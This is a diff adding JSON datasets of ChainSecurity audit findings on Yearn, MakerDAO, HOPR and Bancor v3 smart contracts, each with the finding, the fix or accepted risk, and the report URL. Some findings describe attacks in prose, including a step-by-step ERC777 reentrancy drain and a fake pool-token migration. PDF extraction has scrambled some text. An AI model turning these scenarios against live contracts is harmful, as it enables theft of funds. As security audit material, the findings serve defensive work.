Vault(LPYCRV).pricePerShare() Code corrected return amount * 10 ** 18 / Curve(POOL).get_virtual_price() is replaced with lp_amount: uint256 = amount * 10 ** 18 / Curve(POOL).get_virtual_price() return lp_amount * 10 ** 18 / Vault(LPYCRV).pricePerShare() ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/yearn-finance-ycrv-and-zapycrv/"}, {"title": "6.3 ZapYCRV _min_out LPYCRV Limit", "body": " In ZapYCRV.zap, the _min_out argument of the zap function asserts a lower bound on the amount of output token received by the user. When _output_token is LPYCRV it incorrectly asserts the amount of liquidity tokens issued as an intermediate conversion step by Curve(POOL).add_liquidity. Yearn - yCRV and ZapYCRV - 13 CorrectnessHighVersion1CodeCorrectedDesignMediumVersion1CodeCorrected \fIn the LPYCRV branch of _convert_to_output, _min_out gets first passed to _lp(), which uses it as a lower bound to the amount of liquidity tokens issued by Curve(POOL).add_liquidity() @internal def _lp(_amounts: uint256[2], _min_out: uint256, _recipient: address) -> uint256: return Curve(POOL).add_liquidity(_amounts, _min_out) It is then used again as a lower bound for amount_out issued by Vault(LPYCRV).deposit(). amount_out: uint256 = Vault(LPYCRV).deposit(self._lp([0, amount], _min_out, _recipient)) assert amount_out >= _min_out # dev: min out This basically makes _min_out used for limit of LPYCRV vault shares and POOL LP shares. Due to how the share values are computed, in the general case they will be not worth 1:1. Thus, _min_out as a limit is not practical. Code corrected The _min_out argument of the _lp function has been removed. Thus it is not used as a lower bound to the amount of liquidity tokens issued by Curve(POOL).add_liquidity() anymore. @internal def _lp(_amounts: uint256[2]) -> uint256: return Curve(POOL).add_liquidity(_amounts, 0) Yearn notes: Hardcode the minimum to 0 in add_liquidity, as we will rely on subsequent check to compare user inputted min_out. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/yearn-finance-ycrv-and-zapycrv/"}, {"title": "6.4 ERC20 Return Values Not Checked", "body": " According to EIP-20, Callers MUST NOT assume that false is never returned. However, not all calls to ERC20 assert that true is returned. ZapYCRV and yCRV do not check bool success values for calls to ERC20.approve and ERC20.transfer. Even though in most cases the contracts are known in advance and it is safe not to check this value, new features and codebase reuse can lead to potential problems. In function sweep in both contracts the return value of ERC20.transfer can be missing, if for example USDT is used. In that case the call will fail. Code corrected Asserts have been added to the approve and transfer calls to make sure that true is returned. Compiler version has been increased to vyper 0.3.6 in order to use the external call keyword argument default_return_value=True, which ensures that transfer calls do not revert when calling non EIP-20 compliant tokens such as USDT which do not return a boolean value. Yearn - yCRV and ZapYCRV - 14 CorrectnessLowVersion1CodeCorrected \f6.5 ZapYCRV.zap Natspec The @param _input_token for zap function does not describe that cvxCRV can be used as input token. Code corrected The cvxCRV has been added to the @param _input_token in the zap function's natspec. Yearn - yCRV and ZapYCRV - 15 CorrectnessLowVersion1CodeCorrected \f7 Notes We leverage this section to highlight further findings that are not necessarily issues. The mentioned topics serve to clarify or support the report, but do not require an immediate modification inside the project. Instead, they should raise awareness in order to improve the overall understanding. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/yearn-finance-ycrv-and-zapycrv/"}, {"title": "7.1 Some but Not All Fees Are Accounted for in ", "body": " calc_expected_out The natspec of calc_expected_out says that fees are not accounted for when computing the result. But actually, almost in all cases, when the Curve pools are used, they are accounted. The only case when the fees are not taken into account is when the output token is LPYCRV. Then the deposit of YCRV in POOL is simulated with Curve(POOL).calc_token_amount(...), which does not account for the fees. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/yearn-finance-ycrv-and-zapycrv/"}, {"title": "7.2 ZapYCRV Curve StableSwap Token Indices", "body": " Sanity Check ZapYCRV contract uses POOL contract, that is assumed to be Curve Finance StableSwap contract. In StableSwap the tokens can be in any order. The yCRV/CRV pool is not yet deployed. Thus, the assumption that CRV will be index 0 and yCRV will have index 1 might be violated. A sanity check in the constructor of ZapYCRV contract can prevent human and misconfiguration errors and lower the costs associated with redeployment. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/yearn-finance-ycrv-and-zapycrv/"}, {"title": "7.3 ZapYCRV Return Values Ignored", "body": " the ZapYCRV._zap_from_legacy In to IYCRV(YCRV).burn_to_mint are ignored. Return value is assumed to be same as the amount argument that the function takes. However, in case when the amount is equal to MAX_UINT256, the burn_to_mint might return other value. In the current version such situation should never happen, because this case is handled by the zap function itself. In ZapYCRV._zap_from_legacy, amount should never be equal to MAX_UINT256. However use of return value will prevent potential bugs in case of code reuse or if new features are added. function return value calls the of ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/yearn-finance-ycrv-and-zapycrv/"}, {"title": "7.4 yCRV as an ERC20 Implementation", "body": " There are 2 things we would like to note regarding the yCRV token. 1. The approve function has a known race condition attack vector described here Yearn - yCRV and ZapYCRV - 16 NoteVersion1NoteVersion1NoteVersion1NoteVersion1 \f2. The transferFrom function does not emit Approval event. While this is compliant with specification, one cannot reconstruct the state of user allowances based only on events, since transferFrom does not emit any special events that show that approval was used. Yearn - yCRV and ZapYCRV - 17 \f", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/yearn-finance-ycrv-and-zapycrv/"}, {"title": "7.1 Burn Function Redundant Checks", "body": " In Dai contract, some gas savings are possible. The safeMath operator _sub can be removed in totalSupply = _sub(totalSupply, value);, because of the check: uint256 balance = balanceOf[from]; require(balance >= value, \"Dai/insufficient-balance\"); The redundant check was removed. Similar check in mint function was found and removed by MakerDAO team themselves. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/makerdao-optimism-dai-bridge/"}, {"title": "7.2 Contract L2GovernanceRelay Unnecessary", "body": " Statefulness The L2GovernanceRelay contract defines the l1GovernanceRelay field and inherits from the messenger field from OVM_CrossDomainEnabled. Those 2 fields could be declared as immutable as they are never changed after the initial assignment. The L1GovernanceRelay address can be precomputed and passed to L2GovernanceRelay as a constructor variable. MakerDAO - Optimism DAI Bridge - 9 CriticalHighMediumLowCodeCorrectedCodeCorrectedCodeCorrectedDesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrected \fThe l1GovernanceRelay is an immutable field now. The messenger is still a storage field, because changing it will require a change in the Optimism contracts library, that are out of scope for this assessment. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/makerdao-optimism-dai-bridge/"}, {"title": "7.3 Init Function of L2GovernanceRelay", "body": " The function init for L2GovernanceRelay contract is needed to set the l1GovernanceRelay field. This function is not protected by any access modifier and can be called by anyone. The attacker can potentially call this function himself and ruin the deployment. Such attack will require the redeployment of L2GovernanceRelay contract and potentially of the L1GovernanceRelay. In addition the attacker can find a potential transaction that will revert the optimism history to such extend, where the L2GovernanceRelay deployment has happened, but init hasn't. This way attacker can init contract again himself, effectively getting a full control over the L2GovernanceRelay. The L2GovernanceRelay now has only a constructor, where the immutable l1GovernanceRelay is set. MakerDAO - Optimism DAI Bridge - 10 DesignLowVersion1CodeCorrected \f8 Notes We leverage this section to highlight further findings that are not necessarily issues. The mentioned topics serve to clarify or support the report, but do not require an immediate modification inside the project. Instead, they should raise awareness in order to improve the overall understanding. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/makerdao-optimism-dai-bridge/"}, {"title": "8.1 Constructors Marked Public", "body": " L2DAITokenBridge.sol and dai.sol contracts have constructor with public modifier. This visability modifier will be ingnored by the solidity compiler. MakerDAO - Optimism DAI Bridge - 11 NoteVersion1 \f", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/makerdao-optimism-dai-bridge/"}, {"title": "5.1 Possible Gas Optimization for Mappings", "body": " Although the value for the mapping isOracle is of type bool which needs only 1 bit of storage, Solidity uses a word (256 bits) for each stored value and performs some additional operations when operating bool values (masking). Therefore, using uint instead of bool is slightly more efficient. Acknowledged: Maker acknowledged the issue. MakerDAO - G-UNI LP Oracle - 9 DesignCriticalHighMediumLowAcknowledgedDesignLowVersion1Acknowledged \f6 Resolved Findings Here, we list findings that have been resolved during the course of the engagement. Their categories are explained in the Findings section. Below we provide a numerical overview of the identified findings, split up by their severity. -Severity Findings -Severity Findings -Severity Findings Missing Documentation -Severity Findings Unused Constant Variable 0 0 1 1 ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/makerdao-g-uni-lp-oracle/"}, {"title": "6.1 Missing Documentation", "body": " The requirements about the oracles for the underlying tokens are not documented. In the supplied test file we see following oracles: address constant USDC_ORACLE = 0x77b68899b99b686F415d074278a9a16b336085A0; address constant DAI_ORACLE = 0x47c3dC029825Da43BE595E21fffD0b66FfcB7F6e; address constant ETH_ORACLE = 0x81FE72B5A8d1A857d176C3E7d5Bd2679A9B85763; The oracles for USDC and DAI return the unit value of one. The ETH oracle is updated roughly once an hour hence the price returned is not live. For the proper working of the GUniLPOracle a live price feed is required, frequently updated and without a time delay. When GUniLPOracle.seek() is executed, the underlying price feeds must return live values. Furthermore the underlying principle how the price is determined could be described more clearly in the Readme: This price feed works by determining how many of token0 and token1 the underlying liquidity position in UniswapV3 held by the GUniPool has at the current price. This current price is solely determined by Maker oracles and independent of the current state of the UniswapV3 pool. The assumption is that 1. The Maker oracles for the underlying tokens return the current market rate 2. In general, e.g. outside flashloan scenarios, the UniswapV3 pool will be balanced at the current market rate. This means that the GUnipool tokens can be redeemed at this current market rate. Hence such a GUnipool token collateral is priced based on its underlying tokens, independent of the state of the GUni/Uniswap V3 pool. The documentation may be expanded to explain and motivate this. Specification changed: Maker responded: It was a mistake that the test was referring to the ETH/USD OSM. It should have referenced the ETH/USD Medianizer to get a live price feed. MakerDAO - G-UNI LP Oracle - 10 CriticalHighMediumSpeci\ufb01cationChangedLowCodeCorrectedDesignMediumVersion1Speci\ufb01cationChanged \fFurthermore the readme has been updated and now contains: Underlying price oracles `orb0` and `orb1` should refer to either a Medianizer, DSValue or some other `read()` compliant oracle. OSMs should not be used to the double delay. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/makerdao-g-uni-lp-oracle/"}, {"title": "6.2 Unused Constant Variable", "body": " The variable WAD is declared as constant and initialized to 10 ** 18, however it's never used in the code. The unused constant has been removed. MakerDAO - G-UNI LP Oracle - 11 DesignLowVersion1CodeCorrected \f7 Notes We leverage this section to highlight further findings that are not necessarily issues. The mentioned topics serve to clarify or support the report, but do not require an immediate modification inside the project. Instead, they should raise awareness in order to improve the overall understanding. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/makerdao-g-uni-lp-oracle/"}, {"title": "7.1 Misleading Function Name link", "body": " The function name link(uint256 _id, address _orb) is misleading as it gives the impression that the token _id is linked to the respective oracle initially by this function. However, this function only updates an existing link of the token with the respective oracle (initialized in the constructor). ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/makerdao-g-uni-lp-oracle/"}, {"title": "7.2 NewGUniLPOracle Indexed Fields", "body": " The event NewGUniLPOracle has two indexed parameters corresponding to the token addresses. In practice, it might be useful if the field address owner is indexed also, as it would allow users to easily filter oracles from a trusted owner. MakerDAO - G-UNI LP Oracle - 12 NoteVersion1NoteVersion1 \f", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/makerdao-g-uni-lp-oracle/"}, {"title": "6.1 Use of Atomic Transactions Only", "body": " The router performs critical actions, of which many should not be done separately in multiple transactions. All critical operations must be done in one atomic transaction. Yearn - Yearn ERC4626 Router - 10 NoteVersion1 \f", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/yearn-erc4626-router/"}, {"title": "5.1 Compression of Epochs in Struct", "body": " 0 0 0 4 It is unlikely that the channel struct values for ticketEpoch or channelEpoch will ever reach the maximum number of uint256. HOPRNet should re-evaluate if these values can be bounded e.g. by uint128 and share a storage slot and thus lower the gas consumption of the contract. Acknowledged Gas efficiency issues are considered out of scope. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/hopr-payment-channels/"}, {"title": "5.2 Gas Optimization", "body": " The contract includes a struct that stores in storage a mapping with all channels and the respective state for each channel as following: struct Channel { uint256 balance; bytes32 commitment; uint256 ticketEpoch; uint256 ticketIndex; ChannelStatus status; HOPRNet - Payment Channel - 8 SecurityDesignCorrectnessCriticalHighMediumLowAcknowledgedAcknowledgedAcknowledgedAcknowledgedDesignLowVersion1AcknowledgedDesignLowVersion1Acknowledged \f uint256 channelEpoch; // the time when the channel can be closed - NB: overloads at year >2105 uint32 closureTime; } The Channel struct includes an attribute status which is of type enum ChannelStatus and has only 4 values, therefore occupies only 8 bits in the storage. Given that there is another attribute uint32 closureTime that occupies another 32 bits, these two attribute status and closureTime should be reordered and placed together to optimize the overall storage used by the contract. Acknowledged Gas efficiency issues are considered out of scope. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/hopr-payment-channels/"}, {"title": "5.3 Node Can Set Ticket Index to Arbitrary High", "body": " Values The ticket issuing node can set the ticket index at will. If this index is set to a value close or equal to max uint, the tickets would be unusable (not redeemable) quickly and the channel would need to be reset. Acknowledged The issue has been discussed and it was decided to check the ticket index off-chain. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/hopr-payment-channels/"}, {"title": "5.4 Redundant Sanity Checks", "body": " The function fundChannelMulti checks if the two amounts are greater than zero, which are checked later again in the function _fundChannel. The modifier validateSourceAndDest is executed twice for each call of _fundChannel from fundChannelMulti if one would fund both channels directions. Acknowledged Hopr provided the reasoning why it is done this way and that efficiency issues are out of scope. HOPRNet - Payment Channel - 9 DesignLowVersion1AcknowledgedDesignLowVersion1Acknowledged \f6 Resolved Findings Here, we list findings that have been resolved during the course of the engagement. Their categories are explained in the Findings section. Below we provide a numerical overview of the identified findings, split up by their severity. -Severity Findings Reentrancy Can Drain Money -Severity Findings -Severity Findings Inconsistent States and Events -Severity Findings Channel Transition Model Redundant Imports Token Transfers Inconsistent Variables Could Be Labeled Immutable 1 0 1 4 ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/hopr-payment-channels/"}, {"title": "6.1 Reentrancy Can Drain Money", "body": " The HoprChannels smart contract uses the ERC777 HoprToken to settle payments. The ERC777 token allows reentrancies during the transfer via sender and receiver hooks. An attacker can utilize this reentrancy to drain the balance of HoprChannels contract. One of the places where this can happen is in the finalizeChannelClosure function. We describe a more elaborate attack and a straightforward attack. Attack setup: Alice and Bob cooperate. They have created channels between them, Alice has called initiateChannelClosure for her channel with Bob, that holds 100 tokens. Bob has valid and yet unclaimed ticket for 75 tokens. Closure time has passed for the Alice owned channel. Alice has a smart contract registered for ERC777 hook. Bob is smart contracts that is registered in the ERC1820 registry for the ERC777 hooks. Alice calls finalizeChannelClosure with Bob as destination. During the call token.transfer(Alice, 100); in this function, Alice contract gets called. Alice contract calls to Bob contract. Bob contract calls the redeemTicket with valid unclaimed ticket. Channel (Alice, Bob) is spending and (Bob, Alice) is earning. Balance of (Alice, Bob) is decreased by 75. Since the balance of the channel is still 100, the new value will be 25. Balance of (Bob, Alice) is increased by 75. Function redeemTicket returns. The Bob contract execution returns to Alice HOPRNet - Payment Channel - 10 CriticalCodeCorrectedHighMediumCodeCorrectedLowCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedSecurityCriticalVersion1CodeCorrected \f Alice contract returns finalizeChannelClosure call. The execution continues after the call token.transfer(Alice, 100); The balance (25 tokens) of Alice owned channel is nullified with delete and the status is set to the CLOSED. As a result of above described schema, the initial 100 tokens of (Alice, Bob) channel will be payed out to Alice, and in addition Bob will get 75 tokens from his ticket claim. Thus instead of 100 tokens 175 tokens were withdrawn. The straightforward attack would be to reenter multiple time into the finalizeChannelClosure as the state variables are changed after the reentrancy possibility. As a general rule, all state dependent operations should be done before the possible reentrancy. Additionally, reentrancies could be completely blocked if not needed. In functions that perform transfers of HOPRToken the transfer operations are moved to the end of the functions. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/hopr-payment-channels/"}, {"title": "6.2 Inconsistent States and Events", "body": " Functions using ERC777 transfers can be reentered (a reentrancy does not necessarily need to happen in the same function but in another relevant function in the system.). Some of these functions have a code after the possible reentrancy point. This might become problematic if the logic relies on state variables like in finalizeChannelClosure, redeemTicket. Besides the more critical reentrancy issue we mentioned, these function's events might be inconsistent or misleading. in redeemTicket event ChannelUpdate For example, is emitted. This event uses spendingChannel storage variable. Given the redeemTicket is called and the ERC777 hook is used to change any storage variable used in these events, the events can emit inconsistent information. This can be done if during the transfer, the hook calls the bumpChannel in between. The same applies to the other places where logic after the reentrancy possibility relies on state variables. We do not know if the client's or third party software will rely on these events. If so, the severity of the issue would be affected. In functions that perform transfers of HOPRToken the transfer operations are moved to the end of the functions. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/hopr-payment-channels/"}, {"title": "6.3 Channel Transition Model", "body": " According to the channels states transition model, the channel in Waiting for commitment state cannot be taken into Pending To Close. In the smart contract code, such behavior is allowed in the initiateChannelClosure function. In addition, the specification provided by HOPRNet also allows such behavior. HOPRNet - Payment Channel - 11 DesignMediumVersion1CodeCorrectedCorrectnessLowVersion1CodeCorrected \f The transition model for channel states has been updated accordingly. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/hopr-payment-channels/"}, {"title": "6.4 Redundant Imports", "body": " The SafeERC20.sol library is imported twice in line 10 and 11. Code corrected The redundant import is removed. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/hopr-payment-channels/"}, {"title": "6.5 Token Transfers Inconsistent", "body": " The HoprChannels contract has inconsistent use of SafeERC20 functions. Since the token is known HoprToken contract that cannot be changed after the deployment, the use of SafeERC20 functions is redundant and introduces the unnecessary gas expenses. token.transfer(msg.sender, channel.balance); token.safeTransfer(msg.sender, amount); token.safeTransferFrom(msg.sender, address(this), amount1 + amount2); Code corrected transfer is now used consistently. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/hopr-payment-channels/"}, {"title": "6.6 Variables Could Be Labeled Immutable", "body": " The keyword immutable and constant can be used to save gas because the compiler does not reserve a storage slot for these variables, and every occurrence is replaced by the respective value. Immutable variables are evaluated once at construction time and their value is copied to all the places in the code where they are accessed. token and secsClosure variable can not be changed and can be set immutable. FUND_CHANNEL_MULTI_SIZE could be set to constant (if calculated beforehand) or else immutable as the value is known when compiling the contract and cannot be changed later. to Code corrected The variables were labeled immutable. HOPRNet - Payment Channel - 12 DesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrected \f7 Notes We leverage this section to highlight further findings that are not necessarily issues. The mentioned topics serve to clarify or support the report, but do not require an immediate modification inside the project. Instead, they should raise awareness in order to improve the overall understanding. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/hopr-payment-channels/"}] \ No newline at end of file diff --git a/results/chainsecurity_findings_3.json b/results/chainsecurity_findings_3.json new file mode 100644 index 0000000..648ed87 --- /dev/null +++ b/results/chainsecurity_findings_3.json @@ -0,0 +1 @@ +[{"title": "7.1 Automated Security Tools", "body": " While performing the audit we found a simple but severe issue which would have been flagged by basic smart contract security tools. Using linters, static analyzers and other tools could prevent these mistakes and increase the overall code quality. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/hopr-payment-channels/"}, {"title": "7.2 Compiler Version", "body": " The used compiler version 0.8.3 is six version behind the current version 0.8.9 (including bug fixes). ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/hopr-payment-channels/"}, {"title": "7.3 Events Emit Complete Channel Struct", "body": " HOPRNet might evaluate if it is necessary to emit the whole channel struct in events. We are not aware of the needs but if not the whole struct it needed, it would be more efficient to only include the relevant parts in the event. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/hopr-payment-channels/"}, {"title": "7.4 Pre- and Post Condition Checks", "body": " If gas efficiency is not a priority, checking pre- and post conditions after important operations might be valuable. Consider for example that the contract balance could be queried before and after a transfer and it could be checked if the balance reduced or increased exactly to the expected amount. HOPRNet - Payment Channel - 13 NoteVersion1NoteVersion1NoteVersion1NoteVersion1 \f", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/hopr-payment-channels/"}, {"title": "5.1 Incorrect Liquidity Decrease", "body": " PoolCollection._calcTargetTradingLiquidity decreases the BNT trading liquidity if the current funding of a certain pool is greater than its funding limit. This is done in a way that could possibly reset the pool: uint256 excessFunding = currentFunding - fundingLimit; targetBNTTradingLiquidity = MathEx.subMax0(liquidity.bntTradingLiquidity, excessFunding); Consider the following example: The funding limit is 40,000 BNT. The current funding of the pool is 40,000 BNT. bntTradingLiquidity is 20,000 BNT (for example after the value of BNT to the corresponding token has quadrupled). The funding limit is now lowered to 20,000 BNT by governance. bntTradingLiquidity is now set to 0 and the pool is reset on the next deposit. Bancor - Bancor v3 - 13 SecurityDesignCorrectnessCriticalHighMediumRiskAcceptedRiskAcceptedLowAcknowledgedRiskAcceptedCodePartiallyCorrectedCodePartiallyCorrectedRiskAcceptedRiskAcceptedDesignMediumVersion2RiskAccepted \fRisk accepted Bancor plans to fix this issue in a future version and accepts the risk for now. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/bancor-v3/"}, {"title": "5.2 Missing Slippage Protection", "body": " The following functions do not guarantee any slippage protection for users and are thus susceptible for front-running attacks: BancorPortal._uniV2RemoveLiquidity functions removeLiqudity and removeLiquidityETH of UniswapV2Router02 with 1 wei slippage protection at all circumstances. calls the BancorV1Migration.migratePoolTokens calls removeLiquidity StandardPoolConverter with 1 wei slippage protection at all circumstances. in Bancor v1's Risk accepted: The client accepts the risk, stating the following: Similar to how liquidity removal is processed on these 3rd party protocols, it is assumed that users will migrate their liquidity immediately and will be prompted with its results. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/bancor-v3/"}, {"title": "5.3 Missing Getter for Average Rates", "body": " The function PoolCoollection.poolData is commented as follows: there is no guarantee that this function will remain forward compatible, so relying on it should be avoided and instead, rely on specific getters from the IPoolCollection interface This indicates that all data from the struct that is returned by this function is also available via independent getters. There is, however, no getter function available that returns the AverageRates. Acknowledged Bancor acknowledged the issue and plans to fix it in a future version. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/bancor-v3/"}, {"title": "5.4 Fake Pool Token Migration", "body": " BancorV1Migration.migratePoolTokens does not check if the given pool token is registered in the ContractRegistry. For this reason, an attacker could call the function with a fake pool token contract that returns a fake StandardPoolConverter: IBancorConverterV1 converter = IBancorConverterV1(payable(poolToken.owner())); Bancor - Bancor v3 - 14 SecurityMediumVersion1RiskAcceptedDesignLowVersion2AcknowledgedSecurityLowVersion1RiskAccepted \fThis converter can then in turn return reserve amounts of tokens that do not exist: uint256[] memory reserveAmounts = converter.removeLiquidity(amount, reserveTokens, minReturnAmounts); If the BancorV1Migration contract holds only tokens for some reason, these tokens can then be sent to token balances before calling converter.removeLiquidity. the contract does not check the attacker as its Risk accepted: The client accepts the risk noting that the contract is not supposed to receive any tokens. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/bancor-v3/"}, {"title": "5.5 Gas Savings", "body": " The following list contains suggestions on how the gas consumption of Bancor v3 can be improved: The fields of MigrationResult in BancorPortal can be rearranged to achieve tighter packing. BancorNetwork.addPoolCollection loads the latest pool collection from storage then calls _setLatestPoolCollection which loads the same pool collection from storage again. BancorNetwork.createPools loads the same pool collection on each iteration from storage. BancorNetwork._depositBNTFor transfers BNT to the BNTPool which then burns them. The tokens could be burned by BancorNetwork instead. BancorNetwork.withdraw to BancorNetwork. _withdrawBNT then approves BNTPool for the tokens and transfers the tokens to BNTPool. The tokens could be directly transferred from PendingWithdrawals to BNTPool. PendingWithdrawal transfers tokens from pool BancorNetwork._withdrawBNT transfers vBNT from the provider to BNTPool which then burns them. The tokens could be burned directly from the provider's address. BancorNetwork.withdraw to BancorNetwork. _withdrawBaseToken then approves PoolCollection for the tokens which burns them. The tokens could be directly burned from PendingWithdrawals. PendingWithdrawal transfers tokens from pool Some or all fields in NetworkSettings could be immutable and updated via proxy upgrade, depending on how frequently they are updated and loaded. Many call chains unnecessarily validate than once. For example, BancorNetwork.initWithdrawal validates the pool token address and amount, then calls PendingWithdrawals.initWithdrawal which performs the same validations again even though it can only be called by the BancorNetwork contract. input data more PoolCollection.depositFor loads data.liquidity.stakedBalance from storage and then loads the whole data.liquidity struct from storage with no change of the data in-between. PoolCollection.depositFor reads data.liquidity from storage, updates the fields on storage and then loads the struct again two times from storage. PoolMigrator.migratePool retrieves the target pool collection of a given pool by calling BancorNetwork.latestPoolCollection. It then calls PoolCollection.migratePoolOut which performs the same call to check if the given target pool collection is valid. PoolCollection._poolWithdrawalAmounts takes the Pool struct as memory copy. Since not all words are accessed and the function is only called with storage pointers, the data argument could be a storage pointer and the necessary fields could be cached inside the function. Bancor - Bancor v3 - 15 DesignLowVersion1CodePartiallyCorrected \f PoolCollection._executeWithdrawal loads stakedBalance from storage even though it is already cached in prevLiquidity PoolCollection._updateTradingLiquidity calls _resetTradingLiquidity which loads liquidity.bntTradingLiquidity from storage even though an overloaded version of the function exists which takes that variable as an argument and there is a cached version of liquidity available. PoolCollection._performTrade loads the liquidity struct from storage even though the values are already present in the TradeIntermediateResult argument. PoolMigrator._migrateFromV1 translates the Pool struct from the old version to the new version. Since the structs are identical, this is not necessary. PoolToken._decimals can be immutable. pools Because address, PoolTokenFactory.createPoolToken could take the override variables as arguments instead of using storage variables. added admin only can the be by AutoCompoundingRewards.terminateProgram loads ProgramData from storage to check if the given program exists. As the pool is later removed from _pools, the call would revert anyways if the the pool program did not exist. In AutoCompoundingRewards some ProgramData struct from storage even though not all words are required. (e.g. enableProgram) functions load the whole In StandardRewards some functions (e.g. createProgram) load the whole ProgramData struct from storage even though not all words are required. The fields _bntPool, _pendingWithdrawals and __poolMigrator in BancorNetwork could be immutable if they are set up either directly in the constructor of BancorNetwork or with pre-known addresses. In BancorNetwork.flashloan, the user could pay the loaned amount directly back to the master vault. During a withdrawal of base in PendingWithdrawals instead of burning a part of them, sending the rest to BancorNetwork and finally burning them in PoolCollection. tokens (not BNT), all pool tokens could be burned Code partially corrected: The client has addressed some of the suggestions. Additionally, some are no longer relevant due to other code changes. Corrected: The fields of MigrationResult in BancorPortal are now tightly packed. Corrected: latestPoolCollection has been completely removed from the code. Corrected: BancorNetwork.createPools takes the respective pool collection as argument. Not corrected: BancorNetwork._depositBNTFor still transfers BNT to the BNTPool which then burns them. Corrected: BancorNetwork._withdrawBNT directly transfers pool tokens from PendingWithdrawal to BNTPool. Not corrected: BancorNetwork._withdrawBNT still transfers vBNT from the provider to BNTPool which then burns them. Partially corrected: BancorNetwork._withdrawBaseToken directly transfers pool tokens from PendingWithdrawal to PoolCollection. Not corrected: All fields in NetworkSettings are still storage variables. Bancor - Bancor v3 - 16 \f Not corrected: There are still many call chains that validate input multiple times. Not corrected: PoolCollection.depositFor still redundantly loads data.liquidity.stakedBalance from storage. Not corrected: PoolCollection.depositFor still redundantly loads data.liquidity multiple times from storage. Corrected: latestPoolCollection has been completely removed from the code. Corrected: PoolCollection._poolWithdrawalAmounts takes only relevant and cached data as input. Not corrected: PoolCollection._executeWithdrawal still loads stakedBalance from storage. Corrected: PoolCollection._updateTradingLiquidity uses the overloaded version of _resetTradingLiquidity. Not corrected: PoolCollection._performTrade still loads the liquidity struct from storage. Not corrected: PoolMigrator._migrateFromV1 has been renamed to PoolMigrator._migrateFromV5 but still unnecessarily translates equal structs. Not corrected: PoolToken._decimals is still a storage variable. Not corrected: PoolTokenFactory.createPoolToken still uses storage for override variables. Not corrected: AutoCompoundingRewards.terminateProgram still redundantly checks for pool existance. Not corrected: In AutoCompoundingRewards some functions (e.g. pauseProgram) still load more data from storage than required. Not corrected: In StandardRewards some functions (e.g. _programExists) still load more data from storage than required. Not corrected: The fields _bntPool, _pendingWithdrawals and __poolMigrator are still stored in storage. Not corrected: In BancorNetwork.flashloan, the loaned amount is still paid back to the contract and then sent to the master vault. Corrected: PendingWithdrawals.completeWithdrawal does not burn tokens anymore. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/bancor-v3/"}, {"title": "5.6 Inconsistent Reentrancy Protection", "body": " AutoCompoundingRewards.createProgram has a reentrancy protection, while the functions terminateProgram and enableProgram do not. BancorNetwork.withdrawNetworkFees does not have reentrancy protection, while other functions that are restricted to callers with certain roles have. Code partially corrected function Although all mentioned AutoCompoundingRewards.setAutoProcessRewardsCount lacks reentrancy protection while all other functions restricted to the admin are protected. functions are now protected against reentrancy, the new Bancor - Bancor v3 - 17 DesignLowVersion1CodePartiallyCorrected \f5.7 Rounding Error Can Lock Tokens When creating a StandardRewards program, both the reward rate and the remaining rewards are computed as follows: uint256 rewardRate = totalRewards / (endTime - startTime); _programs[id] = ProgramData({ ... rewardRate: rewardRate, remainingRewards: rewardRate * (endTime - startTime) }); Depending on the token's number of decimals and the duration of the program, remainingRewards can be smaller than totalRewards due to the divide-then-multiply scheme. In practice, this means that in such cases, totalRewards - remainingRewards tokens won't be distributed and will never be deduced from _unclaimedRewards. This results in the tokens being locked in the contract and not being able to be used for future programs. Risk accepted: The client accepts the risk, stating the following: The amount of tokens which can be locked due to a rounding error is negligible. We are also considering revamping the whole mechanism, which will also affect this code. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/bancor-v3/"}, {"title": "5.8 BNTPool.renounceFunding Division by 0", "body": " In PoolCollection._executeWithdrawal, if the protocol has to renounce BNT funding and this results in the BNT staked balance being reset to 0, but the BNT trading liquidity is still greater than 0, _resetTradingLiquidity is called which tries to renounce BNT funding again. As the 